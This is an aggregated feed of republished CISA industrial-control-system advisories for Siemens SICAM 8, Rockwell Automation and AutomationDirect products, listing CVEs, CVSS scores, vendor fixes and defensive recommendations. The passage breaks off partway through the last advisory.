    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Siemens SICAM 8]]> https://tsecurity.de/de/3674159/it-security-nachrichten/siemens-sicam-8/ https://tsecurity.de/de/3674159/it-security-nachrichten/siemens-sicam-8/ Thu, 16 Jul 2026 18:42:03 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Multiple SICAM 8 products are affected by multiple vulnerabilities that could lead to denial of service, namely: - SICAM A8000 Device firmware - CPCI85 for CP-8031/CP-8050 - SICORE for CP-8010/CP-8012 - SICAM EGS Device firmware - CPCI85 - SICAM S8000 - SICORE Siemens has released new versions for the affected products and recommends to update to the latest versions.

    The following versions of Siemens SICAM 8 are affected:

    • CPCI85 Central Processing/Communication vers:intdot/<26.20 (CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801)
    • SICORE Base system vers:intdot/<26.20.0 (CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801)
    CVSS Vendor Equipment Vulnerabilities
    v3 7.2 Siemens Siemens SICAM 8 Active Debug Code, Initialization of a Resource with an Insecure Default, Unverified Password Change

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing, Energy
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Germany

    Vulnerabilities

    Expand All +

    CVE-2026-54798

    The affected application includes a debugging interface that is accessible through HTTP endpoints. This could allow an authenticated attacker to disrupt the system by crashing the web process causing denial of service conditions.

    View CVE Details

    Affected Products

    Siemens SICAM 8
    Vendor:
    Siemens
    Product Version:
    CPCI85 Central Processing/Communication < V26.20, SICORE Base system < V26.20.0
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/

    Vendor fix
    Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240

    Relevant CWE: CWE-489 Active Debug Code

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

    CVE-2026-54799

    The affected application contains a vulnerability in its firmware update mechanism's signature validation process. This could allow an attacker to install malicious firmware, leading to persistent code execution and system compromise.

    View CVE Details

    Affected Products

    Siemens SICAM 8
    Vendor:
    Siemens
    Product Version:
    CPCI85 Central Processing/Communication < V26.20, SICORE Base system < V26.20.0
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/

    Vendor fix
    Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240

    Relevant CWE: CWE-489 Active Debug Code

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.7 MEDIUM CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

    CVE-2026-54800

    The affected application ships with a default configuration that disables all OPC UA security mechanisms. This could allow an attacker to gain unauthorized access and control over critical system functions.

    View CVE Details

    Affected Products

    Siemens SICAM 8
    Vendor:
    Siemens
    Product Version:
    CPCI85 Central Processing/Communication < V26.20, SICORE Base system < V26.20.0
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/

    Vendor fix
    Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240

    Relevant CWE: CWE-1188 Initialization of a Resource with an Insecure Default

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 4.8 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

    CVE-2026-54801

    The affected application contains insufficient validation of authentication credentials when processing administrative account modifications through the web API. This could allow an authenticated attacker to bypass security controls and gain unauthorized elevated privileges.

    View CVE Details

    Affected Products

    Siemens SICAM 8
    Vendor:
    Siemens
    Product Version:
    CPCI85 Central Processing/Communication < V26.20, SICORE Base system < V26.20.0
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/

    Vendor fix
    Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240

    Relevant CWE: CWE-620 Unverified Password Change

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

    Acknowledgments

    • Siemens reported these vulnerabilities to CISA.

    General Recommendations

    Operators of critical power systems (e.g. TSOs or DSOs) worldwide are usually required by regulations to build resilience into the power grids by applying multi-level redundant secondary protection schemes. It is therefore recommended that the operators check whether appropriate resilient protection measures are in place. The risk of cyber incidents impacting the grid's reliability can thus be minimized by virtue of the grid design. Siemens strongly recommends applying the provided security updates using the corresponding tooling and documented procedures made available with the product. If supported by the product, an automated means to apply the security updates across multiple product instances may be used. Siemens strongly recommends prior validation of any security update before being applied, and supervision by trained staff of the update process in the target environment. As a general security measure Siemens strongly recommends to protect network access with appropriate mechanisms (e.g. firewalls, segmentation, VPN). It is advised to configure the environment according to our operational guidelines in order to run the devices in a protected IT environment. Recommended security guidelines can be found at: https://www.siemens.com/gridsecurity

    Additional Resources

    For further inquiries on security vulnerabilities in Siemens products and solutions, please contact Siemens: https://www.siemens.com/cert/advisories

    Terms of Use

    The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability. Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet. Locate control system networks and remote devices behind firewalls and isolate them from business networks. When remote access is required, use more secure methods, such as virtual private networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    Advisory Conversion Disclaimer

    This ICSA is a verbatim republication of Siemens SSA-229470 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens directly for any questions regarding this advisory.

    Revision History

    • Initial Release Date: 2026-07-09
    Date Revision Summary
    2026-07-09 1 Publication Date
    2026-07-16 2 Initial CISA Republication of Siemens SSA-229470 advisory

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation Flex 5000 Adapter]]> https://tsecurity.de/de/3674158/it-security-nachrichten/rockwell-automation-flex-5000-adapter/ https://tsecurity.de/de/3674158/it-security-nachrichten/rockwell-automation-flex-5000-adapter/ Thu, 16 Jul 2026 18:42:02 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition on the affected product.

    The following versions of Rockwell Automation Flex 5000 Adapter are affected:

    • Flex 5000 Adapter 6.011 (CVE-2026-12659)
    CVSS Vendor Equipment Vulnerabilities
    v3 7.5 Rockwell Automation Rockwell Automation Flex 5000 Adapter Double Free

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing, Information Technology
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-12659

    A denial-of-service security issue exists in the affected products. The security issue stems from improper handling of exceptional conditions when processing crafted CIP packets sent to the adapter. A power cycle is required to recover the module and associated I/O.

    View CVE Details

    Affected Products

    Rockwell Automation Flex 5000 Adapter
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation Flex 5000 Adapter: 6.011
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommends users to upgrade to the following: Flex 5000 Adapter version 6.012.

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisory SD1789 (https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html).
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html

    Relevant CWE: CWE-415 Double Free

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Rockwell Automation reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Republication of Rockwell Automation Security Advisory SD1789

    Legal Notice and Terms of Use

    ]]>         <![CDATA[AutomationDirect Productivity Suite]]> https://tsecurity.de/de/3674157/it-security-nachrichten/automationdirect-productivity-suite/ https://tsecurity.de/de/3674157/it-security-nachrichten/automationdirect-productivity-suite/ Thu, 16 Jul 2026 18:42:01 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow an attacker with local or physical access to cause memory corruption, unintended information disclosure, application instability, or a denial-of-service condition in the affected product.

    The following versions of AutomationDirect Productivity Suite are affected:

    • Productivity Suite <=v4.6.2.2 (CVE-2026-60063, CVE-2026-61389, CVE-2026-60140, CVE-2026-57896, CVE-2026-60073, CVE-2026-61378)
    CVSS Vendor Equipment Vulnerabilities
    v3 7 AutomationDirect AutomationDirect Productivity Suite Out-of-bounds Write, Out-of-bounds Read, Divide By Zero

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-60063

    An out-of-bounds write vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption via a crafted IOCTL request, potentially resulting in privilege escalation or system instability.

    View CVE Details

    Affected Products

    AutomationDirect Productivity Suite
    Vendor:
    AutomationDirect
    Product Version:
    AutomationDirect Productivity Suite: <=v4.6.2.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.
    https://www.automationdirect.com/support/software-downloads

    Mitigation
    If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.

    Mitigation
    Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.

    Mitigation
    Use only trusted, dedicated internal networks or air-gapped systems for device communication.

    Mitigation
    Restrict both physical and logical access to authorized personnel only.

    Mitigation
    Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.

    Mitigation
    Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.

    Mitigation
    Enable and regularly review system logs to detect suspicious or unauthorized activity.

    Mitigation
    Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.

    Mitigation
    Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    4.0 7.3 HIGH CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-61389

    An out-of-bounds write vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption via a crafted IOCTL request, potentially resulting in privilege escalation or system instability.

    View CVE Details

    Affected Products

    AutomationDirect Productivity Suite
    Vendor:
    AutomationDirect
    Product Version:
    AutomationDirect Productivity Suite: <=v4.6.2.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.
    https://www.automationdirect.com/support/software-downloads

    Mitigation
    If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.

    Mitigation
    Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.

    Mitigation
    Use only trusted, dedicated internal networks or air-gapped systems for device communication.

    Mitigation
    Restrict both physical and logical access to authorized personnel only.

    Mitigation
    Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.

    Mitigation
    Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.

    Mitigation
    Enable and regularly review system logs to detect suspicious or unauthorized activity.

    Mitigation
    Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.

    Mitigation
    Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.

    Relevant CWE: CWE-787 Out-of-bounds Write

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    4.0 7.3 HIGH CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-60140

    An out-of-bounds read vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption by sending a crafted IOCTL request. This can lead to exposing sensitive information or causing the affected product to become unstable or unavailable.

    View CVE Details

    Affected Products

    AutomationDirect Productivity Suite
    Vendor:
    AutomationDirect
    Product Version:
    AutomationDirect Productivity Suite: <=v4.6.2.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.
    https://www.automationdirect.com/support/software-downloads

    Mitigation
    If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.

    Mitigation
    Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.

    Mitigation
    Use only trusted, dedicated internal networks or air-gapped systems for device communication.

    Mitigation
    Restrict both physical and logical access to authorized personnel only.

    Mitigation
    Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.

    Mitigation
    Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.

    Mitigation
    Enable and regularly review system logs to detect suspicious or unauthorized activity.

    Mitigation
    Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.

    Mitigation
    Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.1 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H
    4.0 6.9 MEDIUM CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

    CVE-2026-57896

    An out-of-bounds read vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption by sending a crafted IOCTL request. This could lead to limited information disclosure or disruption of the affected product.

    View CVE Details

    Affected Products

    AutomationDirect Productivity Suite
    Vendor:
    AutomationDirect
    Product Version:
    AutomationDirect Productivity Suite: <=v4.6.2.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.
    https://www.automationdirect.com/support/software-downloads

    Mitigation
    If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.

    Mitigation
    Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.

    Mitigation
    Use only trusted, dedicated internal networks or air-gapped systems for device communication.

    Mitigation
    Restrict both physical and logical access to authorized personnel only.

    Mitigation
    Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.

    Mitigation
    Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.

    Mitigation
    Enable and regularly review system logs to detect suspicious or unauthorized activity.

    Mitigation
    Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.

    Mitigation
    Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.1 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H
    4.0 6.9 MEDIUM CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

    CVE-2026-60073

    An out-of-bounds read in the Productivity Suite allows a physical attacker to control the length of data sent to a USB device. This can lead to a system crash or disclosure of kernel memory.

    View CVE Details

    Affected Products

    AutomationDirect Productivity Suite
    Vendor:
    AutomationDirect
    Product Version:
    AutomationDirect Productivity Suite: <=v4.6.2.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.
    https://www.automationdirect.com/support/software-downloads

    Mitigation
    If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.

    Mitigation
    Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.

    Mitigation
    Use only trusted, dedicated internal networks or air-gapped systems for device communication.

    Mitigation
    Restrict both physical and logical access to authorized personnel only.

    Mitigation
    Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.

    Mitigation
    Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.

    Mitigation
    Enable and regularly review system logs to detect suspicious or unauthorized activity.

    Mitigation
    Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.

    Mitigation
    Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.

    Relevant CWE: CWE-125 Out-of-bounds Read

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 5.9 MEDIUM CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
    4.0 5.2 MEDIUM CVSS:4.0/AV:P/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

    CVE-2026-61378

    A divide-by-zero vulnerability in the Productivity Suite allows a local attacker to cause a division by zero leading to a system crash.

    View CVE Details

    Affected Products

    AutomationDirect Productivity Suite
    Vendor:
    AutomationDirect
    Product Version:
    AutomationDirect Productivity Suite: <=v4.6.2.2
    Product Status:
    known_affected
    Remediations

    Mitigation
    AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.
    https://www.automationdirect.com/support/software-downloads

    Mitigation
    If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.

    Mitigation
    Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.

    Mitigation
    Use only trusted, dedicated internal networks or air-gapped systems for device communication.

    Mitigation
    Restrict both physical and logical access to authorized personnel only.

    Mitigation
    Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.

    Mitigation
    Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.

    Mitigation
    Enable and regularly review system logs to detect suspicious or unauthorized activity.

    Mitigation
    Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.

    Mitigation
    Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.

    Relevant CWE: CWE-369 Divide By Zero

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
    4.0 6.8 MEDIUM CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Luca Borzacchiello of Nozomi Networks reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. These vulnerabilities are not exploitable remotely.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix]]> https://tsecurity.de/de/3674156/it-security-nachrichten/rockwell-automation-compactlogix-controllogix-compact-guardlogix-and-guardlogix/ https://tsecurity.de/de/3674156/it-security-nachrichten/rockwell-automation-compactlogix-controllogix-compact-guardlogix-and-guardlogix/ Thu, 16 Jul 2026 18:41:59 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow an attacker to cause a denial-of-service condition.

    The following versions of Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix are affected:

    • CompactLogix 5370 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • Compact GuardLogix 5370 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • ControlLogix 5570 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • GuardLogix 5570 <=V35.015 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • CompactLogix 5380 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • CompactLogix 5380 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • Compact GuardLogix 5380 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • Compact GuardLogix 5380 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • CompactLogix 5480 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • CompactLogix 5480 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • ControlLogix 5580 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • ControlLogix 5580 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • GuardLogix 5580 <=V34.012 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • GuardLogix 5580 <=V35.011 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • CompactLogix 5380 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • Compact GuardLogix 5380 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • CompactLogix 5480 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • ControlLogix 5580 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    • GuardLogix 5580 Recovery Image <=1.072 (CVE-2025-12011, CVE-2025-12012, CVE-2025-11698)
    CVSS Vendor Equipment Vulnerabilities
    v3 8.6 Rockwell Automation Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2025-12011

    A denial-of-service issue exists in 5370/5570 controllers. This vulnerability could potentially allow a remote user to load an invalid project, causing the device to enter a major non-recoverable fault (MNRF).

    View CVE Details

    Affected Products

    Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix
    Vendor:
    Rockwell Automation
    Product Version:
